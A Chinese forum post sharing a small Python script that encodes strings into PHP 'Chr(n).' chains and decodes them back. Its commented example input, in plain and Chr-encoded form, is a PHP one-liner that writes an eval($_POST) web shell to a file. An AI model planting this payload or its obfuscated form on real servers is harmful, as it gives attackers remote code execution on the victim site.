ascii字符转换

论坛 期权论坛 编程之家     
选择匿名的用户   2021-6-2 17:45   1751   0

针对chr ord写了一个基于python3的脚本,简单脚本,未进行容错处理,欢迎扶正。

#!/usr/bin/env python3
import re

#2021.02.20
#bychacheyu

# ord()函数就是用来返回单个字符的ascii值(0-255)
# 相反地,chr()函数是输入一个整数【0,255】返回其对应的ascii符号


def decode(de_inputlist):

 # inputlist = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"

 inlists = re.findall(r'\d+', de_inputlist)

 str_inlist = ""
 for inlist in inlists:
  str_inlist += str(chr(int(inlist)))

 print(str_inlist)


def encode(en_inputlist):
 # inputlist = "fputs(fopen('wf.php','w'),'<?php @eval($_POST[lalala])?>');"
 ascii_lists = list(map(ord, en_inputlist))#将字符串进行加密并修改成数组类型
 str_lists = list(map(str,ascii_lists))#将数组中的整型修改成str类型
 str_inlist = ""
 # str_list += str("Chr("+str_lists[1]+").")
 for str_list in str_lists:
  str_inlist += str("Chr("+str_list+").")#针对数组中的字符串进行替换拼接
 str_inlist =  str_inlist[:-1]#去掉字符串最后一位

 print(str_inlist)


if __name__ == "__main__":
 print("*******************************")

 inputstring = input("please input your encode/decode code: ")
 nu_input = input("please input number: PS(encode is 1 | decode is 2: ")
 if nu_input == "1":
  print("加密结果:")
  encode(inputstring)
 elif nu_input == "2":
  print("解密结果:")
  decode(inputstring)
 else:
  print("your input number is worry!")

 print("*******************************")

分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:3875789
帖子:775174
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP